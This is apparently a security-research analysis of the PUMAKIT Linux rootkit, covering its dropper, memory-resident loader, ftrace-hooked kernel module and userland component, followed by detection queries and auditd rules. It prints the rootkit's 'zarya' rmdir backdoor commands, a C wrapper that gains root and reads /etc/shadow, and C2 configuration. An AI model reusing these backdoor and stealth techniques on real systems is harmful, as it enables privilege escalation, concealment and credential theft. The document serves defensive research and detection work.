<p>PUMAKIT is a sophisticated piece of malware, initially uncovered during routine threat hunting on VirusTotal and named after developer-embedded strings found within its binary. Its multi-stage architecture consists of a dropper (<code>cron</code>), two memory-resident executables (<code>/memfd:tgt</code> and <code>/memfd:wpn</code>), an LKM rootkit module, and a shared object (SO) userland rootkit.</p>
<p>The rootkit component, referenced by the malware authors as “PUMA&quot;,  employs an internal Linux function tracer (ftrace) to hook 18 different syscalls and several kernel functions, enabling it to manipulate core system behaviors. Unique methods are used to interact with PUMA, including using the rmdir() syscall for privilege escalation and specialized commands for extracting configuration and runtime information. Through its staged deployment, the LKM rootkit ensures it only activates when specific conditions, such as secure boot checks or kernel symbol availability, are met. These conditions are verified by scanning the Linux kernel, and all necessary files are embedded as ELF binaries within the dropper.</p>
<p>Key functionalities of the kernel module include privilege escalation, hiding files and directories, concealing itself from system tools, anti-debugging measures, and establishing communication with command-and-control (C2) servers.</p>
<h2>Key takeaways</h2>
<ul>
<li><strong>Multi-Stage Architecture</strong>: The malware combines a dropper, two memory-resident executables, an LKM rootkit, and an SO userland rootkit, activating only under specific conditions.</li>
<li><strong>Advanced Stealth Mechanisms</strong>: Hooks 18 syscalls and several kernel functions using <code>ftrace()</code> to hide files, directories, and the rootkit itself, while evading debugging attempts.</li>
<li><strong>Unique Privilege Escalation</strong>: Utilizes unconventional hooking methods like the <code>rmdir()</code> syscall for escalating privileges and interacting with the rootkit.</li>
<li><strong>Critical Functionalities</strong>: Includes privilege escalation, C2 communication, anti-debugging, and system manipulation to maintain persistence and control.</li>
</ul>
<h2>PUMAKIT Discovery</h2>
<p>During routine threat hunting on VirusTotal, we came across an intriguing binary named <a href="https://www.virustotal.com/gui/file/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f">cron</a>. The binary was first uploaded on September 4, 2024, with 0 detections, raising suspicions about its potential stealthiness. Upon further examination, we discovered another related artifact, <code>/memfd:wpn (deleted)</code><a href="https://www.virustotal.com/gui/file/71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24">71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24</a>, uploaded on the same day, also with 0 detections.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image13.png" alt="VirusTotal Hunting" /></p>
<p>What caught our attention were the distinct strings embedded in these binaries, hinting at potential manipulation of the <code>vmlinuz</code> kernel package in <code>/boot/</code>. This prompted a deeper analysis of the samples, leading to interesting findings about their behavior and purpose.</p>
<h2>PUMAKIT code analysis</h2>
<p>PUMAKIT, named after its embedded LKM rootkit module (named &quot;PUMA&quot; by the malware authors) and Kitsune, the SO userland rootkit, employs a multi-stage architecture, starting with a dropper that initiates an execution chain. The process begins with the <code>cron</code> binary, which creates two memory-resident executables: <code>/memfd:tgt (deleted)</code> and <code>/memfd:wpn (deleted)</code>. While <code>/memfd:tgt</code> serves as a benign Cron binary, <code>/memfd:wpn</code> acts as a rootkit loader. The loader is responsible for evaluating system conditions, executing a temporary script (<code>/tmp/script.sh</code>), and ultimately deploying the LKM rootkit. The LKM rootkit contains an embedded SO file - Kitsune - to interact with the rootkit from userspace. This execution chain is displayed below.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image10.png" alt="PUMAKIT infection chain" title="PUMAKIT infection chain" /></p>
<p>This structured design enables PUMAKIT to execute its payload only when specific criteria are met, ensuring stealth and reducing the likelihood of detection. Each stage of the process is meticulously crafted to hide its presence, leveraging memory-resident files and precise checks on the target environment.</p>
<p>In this section, we will dive deeper into the code analysis for the different stages, exploring its components and their role in enabling this sophisticated multi-stage malware.</p>
<h3>Stage 1: Cron overview</h3>
<p>The <code>cron</code> binary acts as a dropper. The function below serves as the main logic handler in a PUMAKIT malware sample. Its primary goals are:</p>
<ol>
<li>Check command-line arguments for a specific keyword (<code>&quot;Huinder&quot;</code>).</li>
<li>If not found, embed and run hidden payloads entirely from memory without dropping them into the filesystem.</li>
<li>If found, handle specific “extraction” arguments to dump its embedded components to disk and then gracefully exit.</li>
</ol>
<p>In short, the malware tries to remain stealthy. If run usually (without a particular argument), it executes hidden ELF binaries without leaving traces on disk, possibly masquerading as a legitimate process (like <code>cron</code>).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image14.png" alt="The main function of the initial dropper" title="The main function of the initial dropper" /></p>
<p>If the string <code>Huinder</code> isn’t found among the arguments, the code inside <code>if (!argv_)</code> executes:</p>
<p><code>writeToMemfd(...)</code>: This is a hallmark of fileless execution. <code>memfd_create</code> allows the binary to exist entirely in memory. The malware writes its embedded payloads (<code>tgtElfp</code> and <code>wpnElfp</code>) into anonymous file descriptors rather than dropping them onto disk.</p>
<p><code>fork()</code> and <code>execveat()</code>: The malware forks into a child and parent process. The child redirects its standard output and error to <code>/dev/null</code> to avoid leaving logs and then executes the “weapon” payload (<code>wpnElfp</code>) using <code>execveat()</code>. The parent waits for the child and then executes the “target” payload (<code>tgtElfp</code>). Both payloads are executed from memory, not from a file on disk, making detection and forensic analysis more difficult.</p>
<p>The choice of <code>execveat()</code> is interesting—it’s a newer syscall that allows executing a program referred to by a file descriptor. This further supports the fileless nature of this malware’s execution.</p>
<p>We have identified that the <code>tgt</code> file is a legitimate <code>cron</code> binary. It is loaded in memory and executed after the rootkit loader (<code>wpn</code>) is executed.</p>
<p>After execution, the binary remains active on the host.</p>
<pre><code class="language-bash">&gt; ps aux
root 2138 ./30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f
</code></pre>
<p>Below is a listing of the file descriptors for this process. These file descriptors show the memory-resident files created by the dropper.</p>
<pre><code class="language-bash">root@debian11-rg:/tmp# ls -lah /proc/2138/fd
total 0
dr-x------ 2 root root  0 Dec  6 09:57 .
dr-xr-xr-x 9 root root  0 Dec  6 09:57 ..
lr-x------ 1 root root 64 Dec  6 09:57 0 -&gt; /dev/null
l-wx------ 1 root root 64 Dec  6 09:57 1 -&gt; /dev/null
l-wx------ 1 root root 64 Dec  6 09:57 2 -&gt; /dev/null
lrwx------ 1 root root 64 Dec  6 09:57 3 -&gt; '/memfd:tgt (deleted)'
lrwx------ 1 root root 64 Dec  6 09:57 4 -&gt; '/memfd:wpn (deleted)'
lrwx------ 1 root root 64 Dec  6 09:57 5 -&gt; /run/crond.pid
lrwx------ 1 root root 64 Dec  6 09:57 6 -&gt; 'socket:[20433]'
</code></pre>
<p>Following the references we can see the binaries that are loaded in the sample. We can simply copy the bytes into a new file for further analysis using the offset and sizes.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image12.png" alt="Embedded ELF binary" title="Embedded ELF binary" /></p>
<p>Upon extraction, we find the following two new files:</p>
<ul>
<li><code>Wpn</code>: <code>cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe</code></li>
<li><code>Tgt</code>: <code>934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136</code></li>
</ul>
<p>We now have the dumps of the two memory files.</p>
<h3>Stage 2: Memory-resident executables overview</h3>
<p>Examining the <a href="https://www.virustotal.com/gui/file/934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136">/memfd:tgt</a> ELF file, it is clear that this is the default Ubuntu Linux Cron binary. There appear to be no modifications to the binary.</p>
<p>The <a href="https://www.virustotal.com/gui/file/cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe">/memfd:wpn</a> file is more interesting, as it is the binary responsible for loading the the LKM rootkit. This rootkit loader attempts to hide itself by mimicking it as the <code>/usr/sbin/sshd</code> executable. It checks for particular prerequisites, such as whether secure boot is enabled and the required symbols are available, and if all conditions are met, it loads the kernel module rootkit.</p>
<p>Looking at the execution in Kibana, we can see that the program checks whether secure boot is enabled by querying <code>dmesg</code>. If the correct conditions are met, a shell script called <code>script.sh</code> is dropped in the <code>/tmp</code> directory and executed.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image6.png" alt="Execution flow of the bash script and rootkit loader starting from /dev/fd/4" title="Execution flow of the bash script and rootkit loader starting from /dev/fd/4" /></p>
<p>This script contains logic for inspecting and processing files based on their compression formats.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image9.png" alt="The Bash script that is used to decompress the kernel image" title="The Bash script that is used to decompress the kernel image" /></p>
<p>Here's what it does:</p>
<ul>
<li>The function <code>c()</code> inspects files using the <code>file</code> command to verify whether they are ELF binaries. If not, the function returns an error.</li>
<li>The function <code>d()</code> attempts to decompress a given file using various utilities like <code>gunzip</code>, <code>unxz</code>, <code>bunzip2</code>, and others based on signatures of supported compression formats. It employs <code>grep</code> and <code>tail</code> to locate and extract specific compressed segments.</li>
<li>The script attempts to locate and process a file (<code>$i</code>) into <code>/tmp/vmlinux</code>.</li>
</ul>
<p>After the execution of <code>/tmp/script.sh</code>, the file <code>/boot/vmlinuz-5.10.0-33-cloud-amd64</code> is used as input. The <code>tr</code> command is employed to locate gzip's magic numbers (<code>\037\213\010</code>). Subsequently, a portion of the file starting at the byte offset <code>+10957311</code> is extracted using <code>tail</code>, decompressed with <code>gunzip</code>, and saved as <code>/tmp/vmlinux</code>. The resulting file is then verified to determine if it is a valid ELF binary.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image4.png" alt="The process of determining that the decompressing has succeeded " title="The process of determining that the decompressing has succeeded " /></p>
<p>This sequence is repeated multiple times until all entries within the script have been passed into function <code>d()</code>.</p>
<pre><code>d '\037\213\010' xy gunzip
d '\3757zXZ\000' abcde unxz
d 'BZh' xy bunzip2
d '\135\0\0\0' xxx unlzma
d '\211\114\132' xy 'lzop -d'
d '\002!L\030' xxx 'lz4 -d'
d '(\265/\375' xxx unzstd
</code></pre>
<p>This process is shown below.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image7.png" alt="" /></p>
<p>After running through all of the items in the script, the <code>/tmp/vmlinux</code> and <code>/tmp/script.sh</code> files are deleted.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image3.png" alt="Deleting the script and unpacked kernel" title="Deleting the script and unpacked kernel" /></p>
<p>The script's primary purpose is to verify whether specific conditions are satisfied and, if they are, to set up the environment for deploying the rootkit using a kernel object file.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image5.png" alt="Rootkit loader looking for symbol offsets" title="Rootkit loader looking for symbol offsets" /></p>
<p>As shown in the image above, the loader looks for <code>__ksymtab</code> and <code>__kcrctab</code> symbols in the Linux Kernel file and stores the offsets.</p>
<p>Several strings show that the rootkit developers refer to their rootkit as “PUMA&quot; within the dropper. Based on the conditions, the program outputs messages such as:</p>
<pre><code class="language-python">PUMA %s
[+] PUMA is compatible
[+] PUMA already loaded
</code></pre>
<p>Furthermore, the kernel object file contains a section named <code>.puma-config</code>, reinforcing the association with the rootkit.</p>
<h3>Stage 3: LKM rootkit overview</h3>
<p>In this section, we take a closer look at the kernel module to understand its underlying functionality. Specifically, we will examine its symbol lookup features, hooking mechanism, and the key syscalls it modifies to achieve its goals.</p>
<h4>LKM rootkit overview: symbol lookup and hooking mechanism</h4>
<p>The LKM rootkit's ability to manipulate system behavior begins with its use of the syscall table and its reliance on kallsyms_lookup_name() for symbol resolution. Unlike modern rootkits targeting kernel versions 5.7 and above, the rootkit does not use <code>kprobes</code>, indicating it is designed for older kernels.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image1.png" alt="Resolving a pointer to the sys_call_table using kallsyms_lookup_name" title="Resolving a pointer to the sys_call_table using kallsyms_lookup_name" /></p>
<p>This choice is significant because, prior to kernel version 5.7, <code>kallsyms_lookup_name()</code> was exported and could be easily leveraged by modules, even those without proper licensing.</p>
<p>In February 2020, kernel developers debated the unexporting of <code>kallsyms_lookup_name()</code> to prevent misuse by unauthorized or malicious modules. A common tactic involved adding a fake <code>MODULE_LICENSE(&quot;GPL&quot;)</code> declaration to circumvent licensing checks, allowing these modules to access non-exported kernel functions. The LKM rootkitdemonstrates this behavior, as evident from its strings:</p>
<pre><code>name=audit
license=GPL
</code></pre>
<p>This fraudulent use of the GPL license ensures the rootkit can call <code>kallsyms_lookup_name()</code> to resolve function addresses and manipulate kernel internals.</p>
<p>In addition to its symbol resolution strategy, the kernel module employs the <code>ftrace()</code> hooking mechanism to establish its hooks. By leveraging <code>ftrace()</code>, the rootkit effectively intercepts syscalls and replaces their handlers with custom hooks.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image11.png" alt="The LKM rootkit leverages ftrace for hooking" title="The LKM rootkit leverages ftrace for hooking" /></p>
<p>Evidence of this is e.g. the usage of <code>unregister_ftrace_function</code> and <code>ftrace_set_filter_ip</code> as shown in the snippet of code above.</p>
<h4>LKM rootkit overview: hooked syscalls overview</h4>
<p>We analyzed the rootkit's syscall hooking mechanism to understand the scope of PUMA's interference with system functionality. The following table summarizes the syscalls hooked by the rootkit, the corresponding hooked functions, and their potential purposes.</p>
<p>By viewing the <code>cleanup_module()</code> function, we can see the <code>ftrace()</code> hooking mechanism being reverted by using the <code>unregister_ftrace_function()</code> function. This guarantees that the callback is no longer being called. Afterward, all syscalls are returned to point to the original syscall rather than the hooked syscall. This gives us a clean overview of all syscalls that were hooked.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image15.png" alt="Cleanup of all the hooked syscalls" title="Cleanup of all the hooked syscalls" /></p>
<p>In the following sections, we will take a closer look at a few of the hooked syscalls.</p>
<h4>LKM rootkit overview: rmdir_hook()</h4>
<p>The <code>rmdir_hook()</code> in the kernel module plays a critical role in the rootkit’s functionality, enabling it to manipulate directory removal operations for concealment and control. This hook is not limited to merely intercepting <code>rmdir()</code> syscalls but extends its functionality to enforce privilege escalation and retrieve configuration details stored within specific directories.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image2.png" alt="Start of the rmdir hook code" title="Start of the rmdir hook code" /></p>
<p>This hook has several checks in place. The hook expects the first characters to the <code>rmdir()</code> syscall to be <code>zarya</code>. If this condition is met, the hooked function checks the 6th character, which is the command that gets executed. Finally, the 8th character is checked, which can contain process arguments for the command that is being executed. The structure looks like: <code>zarya[char][command][char][argument]</code>. Any special character (or none) can be placed between <code>zarya</code> and the commands and arguments.</p>
<p>As of the publication date, we have identified the following commands:</p>
<table>
<thead>
<tr>
<th>Command</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>zarya.c.0</code></td>
<td>Retrieve the config</td>
</tr>
<tr>
<td><code>zarya.t.0</code></td>
<td>Test the working</td>
</tr>
<tr>
<td><code>zarya.k.&lt;pid&gt;</code></td>
<td>Hide a PID</td>
</tr>
<tr>
<td><code>zarya.v.0</code></td>
<td>Get the running version</td>
</tr>
</tbody>
</table>
<p>Upon initialization of the rootkit, the <code>rmdir()</code> syscall hook is used to check whether the rootkit was loaded successfully. It does this by calling the <code>t</code> command.</p>
<pre><code class="language-bash">ubuntu-rk:~$ rmdir test
rmdir: failed to remove 'test': No such file or directory
ubuntu-rk:~$ rmdir zarya.t
ubuntu-rk:~$
</code></pre>
<p>When using the <code>rmdir</code> command on a non-existent directory, an error message “No such file or directory” is returned. When using <code>rmdir</code> on <code>zarya.t</code>, no output is returned, indicating successful loading of the kernel module.</p>
<p>A second command is <code>v</code>, which is used to get the version of the running rootkit.</p>
<pre><code class="language-bash">ubuntu-rk:~$ rmdir zarya.v
rmdir: failed to remove '240513': No such file or directory
</code></pre>
<p>Instead of <code>zarya.v</code> being added to the “failed to remove ‘<code>directory</code>’” error, the rootkit version <code>240513</code> is returned.</p>
<p>A third command is <code>c</code>, which prints the configuration of the rootkit.</p>
<pre><code class="language-bash">ubuntu-rk:~/testing$ ./dump_config &quot;zarya.c&quot;
rmdir: failed to remove '': No such file or directory
Buffer contents (hex dump):
7ffe9ae3a270  00 01 00 00 10 70 69 6e 67 5f 69 6e 74 65 72 76  .....ping_interv
7ffe9ae3a280  61 6c 5f 73 00 2c 01 00 00 10 73 65 73 73 69 6f  al_s.,....sessio
7ffe9ae3a290  6e 5f 74 69 6d 65 6f 75 74 5f 73 00 04 00 00 00  n_timeout_s.....
7ffe9ae3a2a0  10 63 32 5f 74 69 6d 65 6f 75 74 5f 73 00 c0 a8  .c2_timeout_s...
7ffe9ae3a2b0  00 00 02 74 61 67 00 08 00 00 00 67 65 6e 65 72  ...tag.....gener
7ffe9ae3a2c0  69 63 00 02 73 5f 61 30 00 15 00 00 00 72 68 65  ic..s_a0.....rhe
7ffe9ae3a2d0  6c 2e 6f 70 73 65 63 75 72 69 74 79 31 2e 61 72  l.opsecurity1.ar
7ffe9ae3a2e0  74 00 02 73 5f 70 30 00 05 00 00 00 38 34 34 33  t..s_p0.....8443
7ffe9ae3a2f0  00 02 73 5f 63 30 00 04 00 00 00 74 6c 73 00 02  ..s_c0.....tls..
7ffe9ae3a300  73 5f 61 31 00 14 00 00 00 73 65 63 2e 6f 70 73  s_a1.....sec.ops
7ffe9ae3a310  65 63 75 72 69 74 79 31 2e 61 72 74 00 02 73 5f  ecurity1.art..s_
7ffe9ae3a320  70 31 00 05 00 00 00 38 34 34 33 00 02 73 5f 63  p1.....8443..s_c
7ffe9ae3a330  31 00 04 00 00 00 74 6c 73 00 02 73 5f 61 32 00  1.....tls..s_a2.
7ffe9ae3a340  0e 00 00 00 38 39 2e 32 33 2e 31 31 33 2e 32 30  ....89.23.113.20
7ffe9ae3a350  34 00 02 73 5f 70 32 00 05 00 00 00 38 34 34 33  4..s_p2.....8443
7ffe9ae3a360  00 02 73 5f 63 32 00 04 00 00 00 74 6c 73 00 00  ..s_c2.....tls..
</code></pre>
<p>Because the payload starts with null bytes, no output is returned when running <code>zarya.c</code> through a <code>rmdir</code> shell command. By writing a small C program that wraps the syscall and prints the hex/ASCII representation, we can see the configuration of the rootkit being returned.</p>
<p>Instead of using the <code>kill()</code> syscall to get root privileges (like most rootkits do), the rootkit leverages the <code>rmdir()</code> syscall for this purpose as well. The rootkit uses the <code>prepare_creds</code> function to modify the credential-related IDs to 0 (root), and calls <code>commit_creds</code> on this modified structure to obtain root privileges within its current process.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/image8.png" alt="Privilege escalation using prepare_creds and commit_creds" title="Privilege escalation using prepare_creds and commit_creds" /></p>
<p>To trigger this function, we need to set the 6th character to <code>0</code>. The caveat for this hook is that it gives the caller process root privileges but does not maintain them. When executing <code>zarya.0</code>, nothing happens. However, when calling this hook with a C program and printing the current process’ privileges, we do get a result. A snippet of the wrapper code that is used is displayed below:</p>
<pre><code class="language-c">[...]
// Print the current PID, SID, and GID
pid_t pid = getpid();
pid_t sid = getsid(0);  // Passing 0 gets the SID of the calling process
gid_t gid = getgid();

printf(&quot;Current PID: %d, SID: %d, GID: %d\n&quot;, pid, sid, gid);

// Print all credential-related IDs
uid_t ruid = getuid();    // Real user ID
uid_t euid = geteuid();   // Effective user ID
gid_t rgid = getgid();    // Real group ID
gid_t egid = getegid();   // Effective group ID
uid_t fsuid = setfsuid(-1);  // Filesystem user ID
gid_t fsgid = setfsgid(-1);  // Filesystem group ID

printf(&quot;Credentials: UID=%d, EUID=%d, GID=%d, EGID=%d, FSUID=%d, FSGID=%d\n&quot;,
    ruid, euid, rgid, egid, fsuid, fsgid);

[...]
</code></pre>
<p>Executing the function, we can the following output:</p>
<pre><code class="language-bash">ubuntu-rk:~/testing$ whoami;id
ruben
uid=1000(ruben) gid=1000(ruben) groups=1000(ruben),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd)

ubuntu-rk:~/testing$ ./rmdir zarya.0
Received data:
zarya.0
Current PID: 41838, SID: 35117, GID: 0
Credentials: UID=0, EUID=0, GID=0, EGID=0, FSUID=0, FSGID=0
</code></pre>
<p>To leverage this hook, we wrote a small C wrapper script that executes the <code>rmdir zarya.0</code> command and checks whether it can now access the <code>/etc/shadow</code> file.</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/syscall.h&gt;
#include &lt;errno.h&gt;

int main() {
    const char *directory = &quot;zarya.0&quot;;

    // Attempt to remove the directory
    if (syscall(SYS_rmdir, directory) == -1) {
        fprintf(stderr, &quot;rmdir: failed to remove '%s': %s\n&quot;, directory, strerror(errno));
    } else {
        printf(&quot;rmdir: successfully removed '%s'\n&quot;, directory);
    }

    // Execute the `id` command
    printf(&quot;\n--- Running 'id' command ---\n&quot;);
    if (system(&quot;id&quot;) == -1) {
        perror(&quot;Failed to execute 'id'&quot;);
        return 1;
    }

    // Display the contents of /etc/shadow
    printf(&quot;\n--- Displaying '/etc/shadow' ---\n&quot;);
    if (system(&quot;cat /etc/shadow&quot;) == -1) {
        perror(&quot;Failed to execute 'cat /etc/shadow'&quot;);
        return 1;
    }

    return 0;
}
</code></pre>
<p>With success.</p>
<pre><code class="language-bash">ubuntu-rk:~/testing$ ./get_root
rmdir: successfully removed 'zarya.0'

--- Running 'id' command ---
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd),1000(ruben)

--- Displaying '/etc/shadow' ---
root:*:19430:0:99999:7:::
[...]
</code></pre>
<p>Although there are more commands available in the <code>rmdir()</code> function, we will, for now, move on to the next and may add them to a future publication.</p>
<h4>LKM rootkit overview: getdents() and getdents64() hooks</h4>
<p>The <code>getdents_hook()</code> and <code>getdents64_hook()</code> in the rootkit are responsible for manipulating directory listing syscalls to hide files and directories from users.</p>
<p>The getdents() and getdents64() syscalls are used to read directory entries. The rootkit hooks these functions to filter out any entries that match specific criteria. Specifically, files and directories with the prefix zov_ are hidden from any user attempting to list the contents of a directory.</p>
<p>For example:</p>
<pre><code class="language-bash">ubuntu-rk:~/getdents_hook$ mkdir zov_hidden_dir

ubuntu-rk:~/getdents_hook$ ls -lah
total 8.0K
drwxrwxr-x  3 ruben ruben 4.0K Dec  9 11:11 .
drwxr-xr-x 11 ruben ruben 4.0K Dec  9 11:11 ..

ubuntu-rk:~/getdents_hook$ echo &quot;this file is now hidden&quot; &gt; zov_hidden_dir/zov_hidden_file

ubuntu-rk:~/getdents_hook$ ls -lah zov_hidden_dir/
total 8.0K
drwxrwxr-x 2 ruben ruben 4.0K Dec  9 11:11 .
drwxrwxr-x 3 ruben ruben 4.0K Dec  9 11:11 ..

ubuntu-rk:~/getdents_hook$ cat zov_hidden_dir/zov_hidden_file
this file is now hidden
</code></pre>
<p>Here, the file <code>zov_hidden</code> can be accessed directly using its entire path. However, when running the <code>ls</code> command, it does not appear in the directory listing.</p>
<h3>Stage 4: Kitsune SO overview</h3>
<p>While digging deeper into the rootkit, another ELF file was identified within the kernel object file. After extracting this binary, we discovered this is the <code>/lib64/libs.so</code> file. Upon examination, we encountered several references to strings such as <code>Kitsune PID %ld</code>. This suggests that the SO is referred to as Kitsune by the developers. Kitsune may be responsible for certain behaviors observed in the rootkit. These references align with the broader context of how the rootkit manipulates user-space interactions via <code>LD_PRELOAD</code>.</p>
<p>This SO file plays a role in achieving the persistence and stealth mechanisms central to this rootkit, and its integration within the attack chain demonstrates the sophistication of its design. We will now showcase how to detect and/or prevent each part of the attack chain.</p>
<h2>PUMAKIT execution chain detection &amp; prevention</h2>
<p>This section will display different EQL/KQL rules and YARA signatures that can prevent and detect different parts of the PUMAKIT execution chain.</p>
<h3>Stage 1: Cron</h3>
<p>Upon execution of the dropper, an uncommon event is saved in syslog. The event states that a process has started with an executable stack. This is uncommon and interesting to watch:</p>
<pre><code class="language-sysmon">[  687.108154] process '/home/ruben_groenewoud/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f' started with executable stack
</code></pre>
<p>We can search for this through the following query:</p>
<pre><code>host.os.type:linux and event.dataset:&quot;system.syslog&quot; and process.name:kernel and message: &quot;started with executable stack&quot;
</code></pre>
<p>This message is stored in <code>/var/log/messages</code> or <code>/var/log/syslog</code>. We can detect this by reading syslog through <a href="https://www.elastic.co/de/guide/en/beats/filebeat/current/filebeat-overview.html">Filebeat</a> or the Elastic agent <a href="https://www.elastic.co/de/guide/en/integrations/current/system.html">system integration</a>.</p>
<h3>Stage 2: Memory-resident executables</h3>
<p>We can see an unusual file descriptor execution right away. This can be detected through the following EQL query:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.executable like &quot;/dev/fd/*&quot; and not process.parent.command_line == &quot;runc init&quot;
</code></pre>
<p>This file descriptor will remain the parent of the dropper until the process ends, resulting in the execution of several files through this parent process as well:</p>
<pre><code class="language-sql">file where host.os.type == &quot;linux&quot; and event.type == &quot;creation&quot; and process.executable like &quot;/dev/fd/*&quot; and file.path like (
  &quot;/boot/*&quot;, &quot;/dev/shm/*&quot;, &quot;/etc/cron.*/*&quot;, &quot;/etc/init.d/*&quot;, &quot;/var/run/*&quot;
  &quot;/etc/update-motd.d/*&quot;, &quot;/tmp/*&quot;, &quot;/var/log/*&quot;, &quot;/var/tmp/*&quot;
)
</code></pre>
<p>After <code>/tmp/script.sh</code> is dropped (detected through the queries above), we can detect its execution by querying for file attribute discovery and unarchiving activity:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
(process.parent.args like &quot;/boot/*&quot; or process.args like &quot;/boot/*&quot;) and (
  (process.name in (&quot;file&quot;, &quot;unlzma&quot;, &quot;gunzip&quot;, &quot;unxz&quot;, &quot;bunzip2&quot;, &quot;unzstd&quot;, &quot;unzip&quot;, &quot;tar&quot;)) or
  (process.name == &quot;grep&quot; and process.args == &quot;ELF&quot;) or
  (process.name in (&quot;lzop&quot;, &quot;lz4&quot;) and process.args in (&quot;-d&quot;, &quot;--decode&quot;))
) and
not process.parent.name == &quot;mkinitramfs&quot;
</code></pre>
<p>The script continues to seek the memory of the Linux kernel image through the <code>tail</code> command. This can be detected, along with other memory-seeking tools, through the following query:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
(process.parent.args like &quot;/boot/*&quot; or process.args like &quot;/boot/*&quot;) and (
  (process.name == &quot;tail&quot; and (process.args like &quot;-c*&quot; or process.args == &quot;--bytes&quot;)) or
  (process.name == &quot;cmp&quot; and process.args == &quot;-i&quot;) or
  (process.name in (&quot;hexdump&quot;, &quot;xxd&quot;) and process.args == &quot;-s&quot;) or
  (process.name == &quot;dd&quot; and process.args : (&quot;skip*&quot;, &quot;seek*&quot;))
)
</code></pre>
<p>Once <code>/tmp/script.sh</code> is done executing, <code>/memfd:tgt (deleted)</code> and <code>/memfd:wpn (deleted)</code> are created. The <code>tgt</code> executable, which is the benign Cron executable, creates a <code>/run/crond.pid</code> file. This is nothing malicious but an artifact that can be detected through a simple query.</p>
<pre><code class="language-sql">file where host.os.type == &quot;linux&quot; and event.type == &quot;creation&quot; and file.extension in (&quot;lock&quot;, &quot;pid&quot;) and
file.path like (&quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/run/*&quot;, &quot;/var/run/*&quot;, &quot;/var/lock/*&quot;, &quot;/dev/shm/*&quot;) and process.executable != null
</code></pre>
<p>The <code>wpn</code> executable will, if all conditions are met, load the LKMrootkit.</p>
<h3>Stage 3: Rootkit kernel  module</h3>
<p>The loading of kernel module is detectable through Auditd Manager by applying the following configuration:</p>
<pre><code>-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
</code></pre>
<p>And using the following query:</p>
<pre><code class="language-sql">driver where host.os.type == &quot;linux&quot; and event.action == &quot;loaded-kernel-module&quot; and auditd.data.syscall in (&quot;init_module&quot;, &quot;finit_module&quot;)
</code></pre>
<p>For more information on leveraging Auditd with Elastic Security to enhance your Linux detection engineering experience, check out our <a href="https://www.elastic.co/de/security-labs/linux-detection-engineering-with-auditd">Linux detection engineering with Auditd</a> research published on the Elastic Security Labs site.</p>
<p>Upon initialization, the LKM taints the kernel, as it is not signed.</p>
<pre><code>audit: module verification failed: signature and/or required key missing - tainting kernel
</code></pre>
<p>We can detect this behavior through the following KQL query:</p>
<pre><code>host.os.type:linux and event.dataset:&quot;system.syslog&quot; and process.name:kernel and message:&quot;module verification failed: signature and/or required key missing - tainting kernel&quot;
</code></pre>
<p>Also, the LKM has faulty code, causing it to segfault several times. For example:</p>
<pre><code>Dec  9 13:26:10 ubuntu-rk kernel: [14350.711419] cat[112653]: segfault at 8c ip 00007f70d596b63c sp 00007fff9be81360 error 4
Dec  9 13:26:10 ubuntu-rk kernel: [14350.711422] Code: 83 c4 20 48 89 d0 5b 5d 41 5c c3 48 8d 42 01 48 89 43 08 0f b6 02 41 88 44 2c ff eb c1 8b 7f 78 e9 25 5c 00 00 c3 41 54 55 53 &lt;8b&gt; 87 8c 00 00 00 48 89 fb 85 c0 79 1b e8 d7 00 00 00 48 89 df 89
</code></pre>
<p>This can be detected through a simple KQL query that queries for segfaults in the <code>kern.log</code> file.</p>
<pre><code>host.os.type:linux and event.dataset:&quot;system.syslog&quot; and process.name:kernel and message:segfault
</code></pre>
<p>Once the kernel module is loaded, we can see traces of command execution through the <code>kthreadd</code> process. The rootkit creates new kernel threads to execute specific commands. For example, the rootkit executes the following commands at short intervals:</p>
<pre><code class="language-bash">cat /dev/null
truncate -s 0 /usr/share/zov_f/zov_latest
</code></pre>
